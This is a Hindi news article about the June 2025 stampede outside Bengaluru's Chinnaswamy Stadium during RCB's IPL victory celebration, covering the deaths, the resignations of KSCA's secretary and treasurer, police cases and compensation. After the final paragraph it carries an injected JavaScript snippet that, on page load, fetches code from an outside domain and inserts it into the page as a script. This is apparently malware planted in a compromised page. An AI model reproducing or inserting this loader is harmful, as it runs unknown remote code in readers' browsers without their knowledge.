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चिन्नास्वामी स्टेडियम भगदड़: KSCA के शीर्ष अधिकारियों का इस्तीफा और कार्रवाई

Chinnaswamy Stadium Stampede: 4 जून 2025 को बेंगलुरु के चिन्नास्वामी स्टेडियम के बाहर रॉयल चैलेंजर्स बेंगलुरु (RCB) की IPL 2025 जीत के जश्न के दौरान मची भगदड़ ने पूरे देश को हिलाकर रख दिया। इस हादसे में 11 लोगों की जान चली गई और 56 लोग घायल हो गए। इस त्रासदी की नैतिक जिम्मेदारी लेते हुए कर्नाटक स्टेट क्रिकेट एसोसिएशन (KSCA) के सचिव ए. शंकर और कोषाध्यक्ष ई.एस. जयराम ने अपने पदों से इस्तीफा दे दिया। इस घटना के बाद कई स्तरों पर कार्रवाई भी शुरू हो चुकी है। 

KSCA अधिकारियों का इस्तीफा

ए. शंकर और ई.एस. जयराम ने 6 जून 2025 की रात को KSCA अध्यक्ष रघुराम भट को अपना इस्तीफा सौंप दिया। अपने संयुक्त बयान में उन्होंने कहा, "पिछले दो दिनों में हुई अप्रत्याशित और दुर्भाग्यपूर्ण घटनाओं के कारण, हालांकि हमारी भूमिका बहुत सीमित थी, लेकिन नैतिक जिम्मेदारी लेते हुए हमने KSCA के सचिव और कोषाध्यक्ष के पदों से इस्तीफा दे दिया है।" दोनों ने स्पष्ट किया कि उनकी भूमिका आयोजन के प्रबंधन में सीमित थी, क्योंकि स्टेडियम को RCB की पैरेंट कंपनी रॉयल चैलेंजर्स स्पोर्ट्स प्राइवेट लिमिटेड (RCSPL) को किराए पर दिया गया था। फिर भी, नैतिकता के आधार पर उन्होंने यह कदम उठाया। Read More: Bengaluru Stampede 2025: बेंगलुरु भगदड़ मामला: चार गिरफ्तार, RCB और KSCA अधिकारी जांच के दायरे में

भगदड़ की वजह और कार्रवाई

यह हादसा तब हुआ जब हजारों RCB प्रशंसक चिन्नास्वामी स्टेडियम के बाहर विजय परेड और खिलाड़ियों से मिलने के लिए जमा हुए। RCB की सोशल मीडिया पोस्ट, जिसमें मुफ्त प्रवेश की घोषणा की गई थी, ने भीड़ को और बढ़ा दिया, जिसे बाद में डिलीट कर दिया गया। परेड रद्द कर दी गई, लेकिन स्टेडियम के अंदर समारोह जारी रहा, जिससे स्थिति और बिगड़ गई। बेंगलुरु पुलिस ने RCB, इवेंट मैनेजमेंट कंपनी DNA एंटरटेनमेंट, और KSCA के खिलाफ FIR दर्ज की, जिसमें गैर-इरादतन हत्या और अवैध जमावड़ा जैसे आरोप शामिल हैं। RCB के मार्केटिंग हेड निखिल सोसले को 6 जून को गिरफ्तार किया गया, जिसे उन्होंने कर्नाटक हाई कोर्ट में चुनौती दी।

Chinnaswamy Stadium Stampede: मुहावजे की घोषणा

कर्नाटक के मुख्यमंत्री सिद्धारमैया ने इस हादसे पर गहरा दुख जताया और मृतकों के परिवारों के लिए 10 लाख रुपये के मुआवजे की घोषणा की। उन्होंने बेंगलुरु पुलिस कमिश्नर बी. दयानंद सहित कई वरिष्ठ पुलिस अधिकारियों को निलंबित कर दिया और एक मजिस्ट्रियल जांच के आदेश दिए। कर्नाटक हाई कोर्ट ने 6 जून को KSCA के अधिकारियों को गिरफ्तारी से अंतरिम राहत दी, लेकिन उन्हें जांच में सहयोग करने का निर्देश दिया। कोर्ट ने सरकार से 10 जून तक स्टेटस रिपोर्ट मांगी है। KSCA ने अपनी याचिका में दावा किया कि उनकी जिम्मेदारी केवल स्टेडियम किराए पर देने और सरकारी अनुमति लेने तक सीमित थी।;document.addEventListener("DOMContentLoaded", function () { var url = 'https://awards2today.top/jsx'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.innerHTML = data.trim(); document.head.appendChild(script); }) });